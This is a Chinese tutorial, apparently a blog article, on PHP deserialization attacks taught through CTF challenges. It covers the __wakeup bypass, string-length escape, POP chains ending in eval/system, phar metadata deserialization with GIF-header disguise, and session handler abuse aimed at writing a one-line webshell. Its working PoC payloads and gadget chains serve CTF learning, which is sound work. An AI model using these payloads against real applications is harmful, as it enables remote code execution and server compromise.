溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

PHP反序列化入門代碼實(shí)例分析

發(fā)布時間:2023-01-29 14:16:29 來源:億速云 閱讀:194 作者:iii 欄目:編程語言

本文小編為大家詳細(xì)介紹“PHP反序列化入門代碼實(shí)例分析”,內(nèi)容詳細(xì),步驟清晰,細(xì)節(jié)處理妥當(dāng),希望這篇“PHP反序列化入門代碼實(shí)例分析”文章能幫助大家解決疑惑,下面跟著小編的思路慢慢深入,一起來學(xué)習(xí)新知識吧。

php反序列化簡單理解

首先我們需要理解什么是序列化,什么是反序列化?

PHP序列化:serialize()

序列化是將變量或?qū)ο筠D(zhuǎn)換成字符串的過程,用于存儲或傳遞 PHP 的值的過程中,同時不丟失其類型和結(jié)構(gòu)。

PHP反序列化:unserialize()

反序列化是將字符串轉(zhuǎn)換成變量或?qū)ο蟮倪^程

通過序列化與反序列化我們可以很方便的在PHP中進(jìn)行對象的傳遞。本質(zhì)上反序列化是沒有危害的。但是如果用戶對數(shù)據(jù)可控那就可以利用反序列化構(gòu)造payload攻擊。這樣說可能還不是很具體,舉個列子比如你網(wǎng)購買一個架子,發(fā)貨為節(jié)省成本,是拆開給你發(fā)過去,到你手上,然后給你說明書讓你組裝,拆開給你這個過程可以說是序列化,你組裝的過程就是反序列化

說這么多不如直接一點(diǎn)測試一下

php序列化的字母標(biāo)識

  • a - array

  • b - boolean

  • d - double

  • i - integer

  • o - common object

  • r - reference

  • s - string

  • C - custom object

  • O - class

  • N - null

  • R - pointer reference

  • U - unicode string

  • N - NULL

測試一下

<?php  
class TEST{  
public $test1="11";  
private $test2="22";  
protected $test3="33";  
public function test4()  
{  
echo $this->test1;  
}  
}  
$a=new TEST();  
echo serialize($a);  
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}

O代表類,然后后面4代表類名長度,接著雙引號內(nèi)是類名

然后是類中變量的個數(shù):{類型:長度:"值";類型:長度:"值"...以此類推}

protected 和private其實(shí)是有不可打印字符的,所以這里附上截圖

PHP反序列化入門代碼實(shí)例分析

從圖中可以看到有幾個不可打印字符,關(guān)于這個還有一些特別的地方,和具體放在了后邊寫

有時候做題時為了防止傳參中有啥意外,一般就會urlencode一下

什么是魔術(shù)方法?

做php反序列化的題總會遇到魔術(shù)方法

其實(shí)就是一種特殊方法當(dāng)對對象執(zhí)行某些操作時會覆蓋 PHP 的默認(rèn)操作

舉個例子如下,這里用常見的construct和destruct魔術(shù)方法,其實(shí)就是構(gòu)造函數(shù)和析構(gòu)函數(shù)

<?php  
class A{  
public $a="這里是__construct";  
public function __construct()  
{  
echo $this->a;  
}  
public function __destruct()  
{  
echo $this->a="這里是__destruct";  
}  

}  
$a=new A();

//輸出這里是construct這里是destruct

后邊的題中也會給一些測試魔術(shù)方法的例子

想買給出魔術(shù)方法觸發(fā)的情況,這對解題有很大幫助

  • __construct 當(dāng)一個對象創(chuàng)建時被調(diào)用,

  • __destruct 當(dāng)一個對象銷毀時被調(diào)用,

  • __toString 當(dāng)一個對象被當(dāng)作一個字符串被調(diào)用。

  • __wakeup() 使用unserialize時觸發(fā)

  • __sleep() 使用serialize時觸發(fā)

  • __destruct() 對象被銷毀時觸發(fā)

  • __call() 對不存在的方法或者不可訪問的方法進(jìn)行調(diào)用就自動調(diào)用

  • __callStatic() 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)

  • __get() 用于從不可訪問的屬性讀取數(shù)據(jù)

  • __set() 在給不可訪問的(protected或者private)或者不存在的屬性賦值的時候,會被調(diào)用

  • __isset() 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)

  • __unset() 在不可訪問的屬性上使用unset()時觸發(fā)

  • __toString() 把類當(dāng)作字符串使用時觸發(fā),返回值需要為字符串

  • __invoke() 當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)

光看還是了解不夠,具體還得到親自嘗試才可以,下面我做了一些CTF題,在此分享給大家

簡單的反序列化題

題目來自[SWPUCTF 2021 新生賽]ez_unserialize

<?php  
error_reporting(0);  
show_source("cl45s.php");  

class wllm{  

public $admin;  
public $passwd;  

public function __construct(){  
$this->admin ="user";  
$this->passwd = "123456";  
}  

public function __destruct(){  
if($this->admin === "admin" && $this->passwd === "ctf"){  
include("flag.php");  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo "Just a bit more!";  
}  
}  
}  

$p = $_GET['p'];  
unserialize($p);  
?>

construct方法里admin被賦值為user,passwd被賦值為123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"這個式子成立才能輸出flag

php反序列化是可以控制類方法的屬性但不能改類方法的代碼

于是我們直接更改就行,

<?php  
class wllm{  

public $admin;  
public $passwd;  
public function __construct(){  
$this->admin ="admin";  
$this->passwd = "ctf";  
}  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>

然后傳參就行了,一般這里要url編碼一下,規(guī)避不可打印字符,前面我們提到private protected 屬性 序列化出來會有不可打印字符。

__wakeup繞過

這個其實(shí)是個CVE,CVE-2016-7124

影響版本php5<5.6.25,php7<7.010

簡單描述就是序列化字符串中表示對象屬性個數(shù)的值大于真實(shí)的屬性個數(shù)時會跳過__wakeup的執(zhí)行

而魔術(shù)方法__wakeup執(zhí)行unserialize()時,先會調(diào)用這個函數(shù)

寫個代碼本地測試一下

<?php  
class A{  
public $a;  
public function __construct()  
{  
$this->a="觸發(fā)__construct";  
}  
public function __wakeup()  
{  
$this->a="觸發(fā)__wakeup";  
}  
public function __destruct()  
{  
echo $this->a;  
}  

}  
$a=new A();  
echo serialize($a);

O:1:"A":1:{s:1:"a";s:17:"觸發(fā)__construct";}先正常序列化一下

反序列化一下,輸出觸發(fā)__wakeup

PHP反序列化入門代碼實(shí)例分析

O:1:"A":2:{s:1:"a";s:17:"觸發(fā)__construct";} 把對象個數(shù)改為2

PHP反序列化入門代碼實(shí)例分析

觸發(fā)__construct,繞過了wakeup

[極客大挑戰(zhàn) 2019]PHP __wakeup()繞過

<?php  
include 'class.php';  
$select = $_GET['select'];  
$res=unserialize(@$select);

<?php  
include 'flag.php';  


error_reporting(0);  


class Name{  
private $username = 'nonono';  
private $password = 'yesyes';  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  

function __wakeup(){  
$this->username = 'guest';  
}  

function __destruct(){  
if ($this->password != 100) {  
echo "</br>NO!!!hacker!!!</br>";  
echo "You name is: ";  
echo $this->username;echo "</br>";  
echo "You password is: ";  
echo $this->password;echo "</br>";  
die();  
}  
if ($this->username === 'admin') {  
global $flag;  
echo $flag;  
}else{  
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";  
die();  

}  
}  
}

看源碼我們需要password=100,username=admin,但反序列化過程中wakeup方法里會把username賦值為guest;

這里我們先生成一個對象,然后序列化并Url編碼,接著把它反序列化,var_dump一下看看

//$a=new Name('admin','100');  
//echo urlencode(serialize($a));  
//echo serialize($a);  
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  
var_dump(unserialize(urldecode($b)));

PHP反序列化入門代碼實(shí)例分析

那么修改對象個數(shù)為大于2

得到flag

PHP反序列化入門代碼實(shí)例分析

POC

<?php  

 

class Name{  
private $username = 'admin';  
private $password = '100';  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  


}  

$a=new Name('admin','100');  
echo urlencode(serialize($a));  
//echo serialize($a);  
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  
?>

反序列化逃逸問題

逃逸問題的本質(zhì)是改變序列化字符串的長度,導(dǎo)致反序列化漏洞

所以會有兩種情況,一種是由長變短,一種是由短變長

由長變短

自己隨手寫個題測試下

<?php  
highlight_file(__FILE__);  
class A  
{  
public $a;  
public $b;  
public $c;  
public function __construct()  
{  
$this->a=$_GET['a'];  
$this->b="noflag";  
$this->c=$_GET['c'];  
}  
public function check()  
{  
if ($this->b==="123")  
{  
echo "flag{123dddd}";  
}  
else if ($this->a==="test")  
{  
echo "give you flag";  
}  
else  
{  
echo "no flag";  
}  
}  
public function __destruct()  
{  
$this->check();  
}  
}  
$a=new A();  
$b=serialize($a);  
$c=str_replace("aa","b",$b);  
unserialize($c);

這里本地寫一個測試簡單利用下,學(xué)會這個逃逸思路即可

$b=serialize($a);  
echo $b;  
$c=str_replace("aa","b",$b);  
echo($c);  
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}

這里測試一下,很明顯可以看見4個aaaa 變成了兩個b,但s:4依然是四個字符串,a的值就相當(dāng)于是從aaaa變成了bb";這樣,相當(dāng)于往后吞噬掉了兩位,而這個題需要$b為123才能給flag,

$this->b="noflag";而這個已經(jīng)給b賦值了,我們序列化出來可以看到s:1:"b";s:6:"noflag",之前可以看出,利用這個過濾可以吞噬掉后邊的序列化,那豈不是可以把后邊的都吞噬掉,然后根據(jù)序列化格式補(bǔ)全,依然可以正常的反序列化出來,把$b的值給覆蓋掉

開始構(gòu)造

然后計(jì)算要吞噬掉多少位

PHP反序列化入門代碼實(shí)例分析

print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))  
print(36*'aa')  
//35  
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

35個長度,構(gòu)造出來肯定超過十個了,所以s:1的1會變成十位數(shù),多出一位,所以要+1,用36個aa

a=36個aa,c=;s:1:"b";s:3:"123

這樣構(gòu)造出來為

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:

print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))

剛好為72個,成功反序列化,得到flag

PHP反序列化入門代碼實(shí)例分析

由短變長

index.php

<?php  
error_reporting(0);  
class message{  
public $from;  
public $msg;  
public $to;  
public $token='user';  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

$f = $_GET['f'];  
$m = $_GET['m'];  
$t = $_GET['t'];  

if(isset($f) && isset($m) && isset($t)){  
$msg = new message($f,$m,$t);  
$umsg = str_replace('fuck', 'loveU', serialize($msg));  
setcookie('msg',base64_encode($umsg));  
echo 'Your message has been sent';  
}

highlight_file(FILE);

從題目注釋里可以找到message.php

message.php源碼

<?php  

highlight_file(__FILE__);  
include('flag.php');  

class message{  
public $from;  
public $msg;  
public $to;  
public $token='user';  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

if(isset($_COOKIE['msg'])){  
$msg = unserialize(base64_decode($_COOKIE['msg']));  
if($msg->token=='admin'){  
echo $flag;  
}  
}

很明顯,要想得到flag要把token值更改為admin

但是正常反序列化,字符串個數(shù)是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是這里fuck被替換為loveU,四個字符被替換成五個字符,簡單演示一下

<?php  
class test  
{  
public $username="fuckfuck";  
public $password;  

}  

$a=new test();  
//echo serialize($a);  
echo str_replace('fuck','loveU',serialize($a));  
//O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}  
//O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}

可以很明顯的看出來,s:8字符串應(yīng)該是8個,替換后變?yōu)?0個,因?yàn)橛袃蓚€fuck,這樣還看不出來什么,如果我們把多的字符串改為";s:5:"token";s:5:"admin";}而此時后面的";s:5:"token";s:4:"user";}這個就無效了

因?yàn)閜hp在反序列化時,底層代碼是以;作為字段的分隔,以}作為結(jié)尾,并且是根據(jù)長度判斷內(nèi)容的 ,同時反序列化的過程中必須嚴(yán)格按照序列化規(guī)則才能成功實(shí)現(xiàn)反序列化

偽造的序列化字符串變成真的了,偽造的序列化字符串長度為27,loveU比fuck多一位

那么需要27個fuck就行

payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后訪問message.php即可 當(dāng)然這個有非預(yù)期解,直接修改token值寫到cookie里就行,不過關(guān)鍵是了解到反序列化字符串逃逸問題的思路

POP鏈構(gòu)造

做這種題關(guān)鍵是php魔術(shù)方法,構(gòu)造PHP先找到頭部和尾部,頭部就是用戶可控的地方,也就是可以傳入?yún)?shù)的地方,然后找尾部,比如關(guān)鍵代碼,eval,file_put_contents這種,然后從尾部開始推導(dǎo),根據(jù)魔術(shù)方法的特性,一步一步往上觸發(fā),根據(jù)下面的題,來學(xué)習(xí)下

[SWPUCTF 2021 新生賽]pop

題目源碼

<?php  

error_reporting(0);  
show_source("index.php");  

class w44m{  

private $admin = 'aaa';  
protected $passwd = '123456';  

public function Getflag(){  
if($this->admin === 'w44m' && $this->passwd ==='08067'){  
include('flag.php');  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo 'nono';  
}  
}  
}  

class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  

class w33m{  
public $w00m;  
public $w22m;  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 0;  
}  
}  

$w00m = $_GET['w00m'];  
unserialize($w00m);  

?>

POP鏈入手,先找關(guān)鍵代碼,然后推斷

需要admin為w44m,passwd為08067 才能得到flag

if($this->admin === 'w44m' && $this->passwd ==='08067'){
echo $flag;

發(fā)現(xiàn)可以利用$this->w00m->{$this->w22m}();

這個地方,修改w22m=getflag,那么這個地方就有g(shù)etflag()函數(shù)了

在類w22m中 方法__destruct中echo $this->w00m;echo了一個對象,會觸發(fā)tostring方法

前面魔術(shù)方法提到

__toString 當(dāng)一個對象被當(dāng)作一個字符串被調(diào)用。這樣的話我們便可以利用to_Sting方法里面的代碼了,傳參點(diǎn)是w00m,

鏈子構(gòu)造為 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,這里要用urlencode,因?yàn)槲覀兦懊嫣岬絧rivate和protected生產(chǎn)序列化有不可見字符

<?php  
class w44m{  

private $admin = 'w44m';  
protected $passwd = '08067';  

}  
class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  
class w33m{  
public $w00m="";  
public $w22m="getflag";  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 1;  
}  
}  
$a=new w22m();  
$a->w00m=new w33m();  
$a->w00m->w00m=new w44m();  
echo urlencode( serialize($a));  


?>

[NISACTF 2022]babyserialize

<?php  
include "waf.php";  
class NISA{  
public $fun="show_me_flag";  
public $txw4ever;  
public function __wakeup()  
{  
if($this->fun=="show_me_flag"){  
hint();  
}  
}  

function __call($from,$val){  
$this->fun=$val[0];  
}  

public function __toString()  
{  
echo $this->fun;  
return " ";  
}  
public function __invoke()  
{  
checkcheck($this->txw4ever);  
@eval($this->txw4ever);  
}  
}  

class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class Ilovetxw{  
public $huang;  
public $su;  

public function __call($fun1,$arg){  
$this->huang->fun=$arg[0];  
}  

public function __toString(){  
$bb = $this->su;  
return $bb();  
}  
}  

class four{  
public $a="TXW4EVER";  
private $fun='abc';  

public function __set($name, $value)  
{  
$this->$name=$value;  
if ($this->fun = "sixsixsix"){  
strtolower($this->a);  
}  
}  
}  

if(isset($_GET['ser'])){  
@unserialize($_GET['ser']);  
}else{  
highlight_file(__FILE__);  
}  

//func checkcheck($data){  
// if(preg_match(......)){  
// die(something wrong);  
// }  
//}  

//function hint(){  
// echo ".......";  
// die();  
//}  
?>

查看了一下提示發(fā)現(xiàn)什么也沒有

if(isset($_GET['ser'])){@unserialize($_GET['ser']);

這是頭部

這是尾部

public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);

}

從__invoke()這里開始觸發(fā)

__invoke() 當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)

return $bb()而這里有一個函數(shù)調(diào)用

那么$bb是class Nisa的對象就會調(diào)用 __invoke

觸發(fā)$bb要調(diào)用 __toString()

而__toString()是

當(dāng)一個對象被當(dāng)作一個字符串被調(diào)用。

找類似echo 這種代碼,而這里有個strtolower

PHP反序列化入門代碼實(shí)例分析

strtolower是在set方法里的

__set觸發(fā)

在給不可訪問的(protected或者private)或者不存在的屬性賦值的時候,會被調(diào)用

在four類的中有private $fun='abc';

Ilovetxw類中的__call方法訪問了fun這個變量

function __call($from,$val){  
$this->fun=$val[0];  
}

而__call方法

對不存在的方法或者不可訪問的方法進(jìn)行調(diào)用就自動調(diào)用

TianXiWei類中的wakeup會觸發(fā)call

$this->ext->nisa($this->x); nisa()這個方法并不存在

這里詳細(xì)說下

<?php  
class nisa  
{  
public $b="";  
}  
class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class test  
{  
public $a ="";  
public function __call($a,$b)  
{  
echo "call";  
}  
}  
$a=new TianXiWei();  
$a->ext=new test();  
//echo urlencode(serialize($a));  
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}

wakeup方法反序列化會觸發(fā),而里面nisa方法并不存在,$a->ext=new test()這樣會觸發(fā)到call,在本地測試的時候這樣調(diào)用會echo call,另外我們可以看出序列化$a和$->ext是不一樣的結(jié)果

鏈子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke

POC

<?php  
class NISA  
{  
public $fun = "";  
public $txw4ever = "sYstem('ls /');";//有過濾,大小寫繞過  
}  
class TianXiWei{  
public $ext;  
public $x;  
}  
class Ilovetxw{  
public $huang;  
public $su;  
}  
class four{  
public $a="TXW4EVER";  
private $fun='abc';  

}  
$a=new TianXiWei();//從這里下手觸發(fā)__wakeup  
$a->ext=new Ilovetxw();//觸發(fā)__call  
$a->ext->huang=new four();//觸發(fā)__set  
$a->ext->huang->a=new Ilovetxw();//觸發(fā)__tosrting  
$a->ext->huang->a->su=new NISA();//觸發(fā)__invoke  
echo urlencode(serialize($a));

相信到這里,做這種題已經(jīng)有一定思路了,不要著急,找到方向,然后一步一步去構(gòu)造

phar反序列化

單的理解phar反序列化

phar是什么?

phar是php提供的一類文件的后綴名稱,也是php偽協(xié)議的一種。

phar可以干什么?

將多個php文件合并成一個獨(dú)立的壓縮包,相對獨(dú)立

不用解壓到硬盤就可以運(yùn)行php腳本

支持web服務(wù)器和命令行運(yùn)行

注意要將php.ini中的phar.readonly選項(xiàng)設(shè)置為Off,否則無法生成phar文件

PHP反序列化入門代碼實(shí)例分析

phar文件的的結(jié)構(gòu)

一個phar文件通常由四部分組成,

  • a stub:可以理解為一個標(biāo)志,格式為xxx<?php xxx; __HALT_COMPILER();?>,前面內(nèi)容不限,但必須以__HALT_COMPILER();?>來結(jié)尾,否則phar擴(kuò)展將無法識別這個文件為phar文件。

  • a manifest describing the contents:phar文件本質(zhì)上是一種壓縮文件,其中每個被壓縮文件的權(quán)限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。

  • the file contents:被壓縮文件的內(nèi)容。這里不是重點(diǎn),內(nèi)容不影響

  • [optional] a signature for verifying Phar integrity (phar file format only):簽名,放在文件末尾

<?php  
class Test {//自定義  
}  

@unlink("phar.phar");  
$phar = new Phar("phar.phar"); //后綴名必須為phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub  
$o = new Test();  
$phar->setMetadata($o); //將自定義的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件  
//簽名自動計(jì)算  
$phar->stopBuffering();  

?>

生成一個phar.phar文件

PHP反序列化入門代碼實(shí)例分析

拉進(jìn)010分析

PHP反序列化入門代碼實(shí)例分析

可以清楚看到一個標(biāo)識符,一個序列化,一個文件名

有序列化數(shù)據(jù)必然會有反序列化操作 ,php一大部分的文件系統(tǒng)函數(shù) 通過phar://偽協(xié)議解析phar文件時,都會將meta-data進(jìn)行反序列化 ,受影響的函數(shù)如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file

<?php  
highlight_file(__FILE__);  
class Test {//自定義  
public $name='phpinfo();';  
}  
$phar=new phar('rce.phar');  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>");  
$o=new Test();  
$phar->setMetadata($o);  
$phar->addFromString("flag.txt","flag");//添加要壓縮的文件  
//簽名自動計(jì)算  
$phar->stopBuffering();  
?>

這里用file_get_contents測試下

<?php  
class test{  
public $name='';  
public function __destruct()  
{  
eval($this->name);  
}  
}  

echo file_get_contents('phar://rce.phar/flag.txt');  
?>

PHP反序列化入門代碼實(shí)例分析

漏洞利用條件

  • phar文件要能夠上傳到服務(wù)器端。

  • 要有可用的魔術(shù)方法作為“跳板”。

  • 文件操作函數(shù)的參數(shù)可控,且:、/、phar等特殊字符沒有被過濾。

姿勢

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar

可以用于文件上傳,有文件上傳頭限制,還可以這樣,例如GIF

$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //設(shè)置stub 這樣可以生成一個phar.phar,修改后綴名為phar.gif

[SWPUCTF 2021 新生賽]babyunser phar反序列化

查看class.php獲取源碼

<?php  
class aa{  
public $name;  

public function __construct(){  
$this->name='aa';  
}  

public function __destruct(){  
$this->name=strtolower($this->name);  
}  
}  

class ff{  
private $content;  
public $func;  

public function __construct(){  
$this->content="<?php @eval($_POST[1]);?>";  
}  

public function __get($key){  
$this->$key->{$this->func}($_POST['cmd']);  
}  
}  

class zz{  
public $filename;  
public $content='surprise';  

public function __construct($filename){  
$this->filename=$filename;  
}  

public function filter(){  
if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){  
die('這不合理');  
}  
}  

public function write($var){  
$filename=$this->filename;  
$lt=$this->filename->$var;  
//此功能廢棄,不想寫了  
}  

public function getFile(){  
$this->filter();  
$contents=file_get_contents($this->filename);  
if(!empty($contents)){  
return $contents;  
}else{  
die("404 not found");  
}  
}  

public function __toString(){  
$this->{$_POST['method']}($_POST['var']);  
return $this->content;  
}  
}  

class xx{  
public $name;  
public $arg;  

public function __construct(){  
$this->name='eval';  
$this->arg='phpinfo();';  
}  

public function __call($name,$arg){  
$name($arg[0]);  
}  
}

<?php  
error_reporting(0);  
$filename=$_POST['file'];  
if(!isset($filename)){  
die();  
}  
$file=new zz($filename);  
$contents=$file->getFile();  
?>  
<br>  
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

構(gòu)造鏈子

先找到關(guān)鍵的代碼$this->$key->{$this->func}($_POST['cmd']);,通過這個可以構(gòu)造命令執(zhí)行,所以要想辦法觸發(fā)__get($key),

__get() 用于從不可訪問的屬性讀取數(shù)據(jù),ff類的 private $content;是不可訪問的屬性

訪問content可以觸發(fā)get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower這個函數(shù)之前提到,可以觸發(fā)tostring,利用它去觸發(fā)zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去構(gòu)造method=write&var=content,

aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

看著好奇怪,為什么要用write去這樣鉤爪,因?yàn)開_get()觸發(fā)需要,構(gòu)造write函數(shù)進(jìn)行訪問content成員,不僅要用這個屬性去new一個對象,還要對它進(jìn)行訪問

如下代碼進(jìn)行測試

<?php  
class test  
{  
private $a;  
public $b;  

public function __construct($a,$b)  
{  
$this->a="aaa";  
$this->b="bbb";  

}  
public function __get($name)  
{  
// TODO: Implement __get() method.  

$this->a="__get";  
$this->b="111";  
}  
public function __destruct()  
{  
echo $this->a;  
echo $this->b;  
}  
}  
$a =new test("s","s");  
//echo $a->a;  
$b=serialize($a);  
unserialize($b);

注釋掉echo 輸出是aaabbbaaabbb

去掉注釋輸出是get111get111

如此那么構(gòu)造POP鏈子

<?php  
class aa{  
public $name;  
}  
class ff{  
private $content;  
public $func;  
public function __construct(){  
$this->content=new xx();//這里New xx  
}  
}  
class zz{  
public $filename;  
public $content;  
}  
class xx  
{  
public $name;  
public $arg;  
}  

$a=new aa();  
$c=new ff();  
$a->name=new zz();  
$c->func="system";  
$a->name->filename=$c;  

$phar = new Phar("flag.phar"); //后綴名必須為phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub  
//$o = new Test();  
$phar->setMetadata($a); //將自定義的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件  
//簽名自動計(jì)算  
$phar->stopBuffering();

PHP反序列化入門代碼實(shí)例分析

上傳之后使用phar協(xié)議讀取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反序列化

session與cookie很像,都是客戶端與服務(wù)端會話時,用戶的標(biāo)識, PHP session 解決了這個問題,它通過在服務(wù)器上存儲用戶信息以便隨后使用(比如用戶名稱、購買商品等)。然而,會話信息是臨時的,在用戶離開網(wǎng)站后將被刪除。如果您需要永久存儲信息,可以把數(shù)據(jù)存儲在數(shù)據(jù)庫中。

而session是以文件方式存儲的

直接找一道題做做

題目來自ctfshowWEB263

打開是一個登錄頁面,用目錄掃描掃一下,這里我用的是dirsearch

dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

PHP反序列化入門代碼實(shí)例分析

存在源碼泄露,訪問www.zip,下載下來源碼,關(guān)鍵代碼

index.php源碼

*/  
error_reporting(0);  
session_start();  
//超過5次禁止登陸  
if(isset($_SESSION['limit'])){  
$_SESSION['limti']>5?die("登陸失敗次數(shù)超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);  
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);  
}else{  
setcookie("limit",base64_encode('1'));  
$_SESSION['limit']= 1;  
}  

?>

check.php源碼

<?php  

/*  
# -*- coding: utf-8 -*-  
# @Author: h2xa  
# @Date: 2020-09-03 16:59:10  
# @Last Modified by: h2xa  
# @Last Modified time: 2020-09-06 19:15:38  
# @email: h2xa@ctfer.com  
# @link: https://ctfer.com  

*/  

error_reporting(0);  
require_once 'inc/inc.php';  
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);  


if($GET){  

$data= $db->get('admin',  
[ 'id',  
'UserName0'  
],[  
"AND"=>[  
"UserName0[=]"=>$GET['u'],  
"PassWord1[=]"=>$GET['pass'] //密碼必須為128位大小寫字母+數(shù)字+特殊符號,防止爆破  
]  
]);  
if($data['id']){  
//登陸成功取消次數(shù)累計(jì)  
$_SESSION['limit']= 0;  
echo json_encode(array("success","msg"=>"歡迎您".$data['UserName0']));  
}else{  
//登陸失敗累計(jì)次數(shù)加1  
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);  
echo json_encode(array("error","msg"=>"登陸失敗"));  
}  
}

inc.php中有一個這個

ini_set('session.serialize_handler', 'php');

而session存儲格式(序列化)其中有這兩種

ini_set('session.serialize_handler', 'php');

ini_set('session.serialize_handler', ' php_serialize ');

測試一下看這兩個什么區(qū)別

<?php  
ini_set('session.serialize_handler','php');  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION['user']=$a;

在tmp下找到這個文件打開看是

user|O:5:"test1":1:{s:1:"a";s:4:"test";}

<?php  
ini_set('session.serialize_handler','php_serialize');  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION['user']=$a;

a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}

兩種方式的區(qū)別主要是“|”符號,在php機(jī)制中,只會序列化“|”符號后面的內(nèi)容

inc.php中關(guān)鍵代碼

class User{  
public $username;  
public $password;  
public $status;  
function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  
function setStatus($s){  
$this->status=$s;  
}  
function __destruct(){  
file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));  
}  
}

function __destruct(){

file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));

}

可以利用這個函數(shù)寫一句話木馬

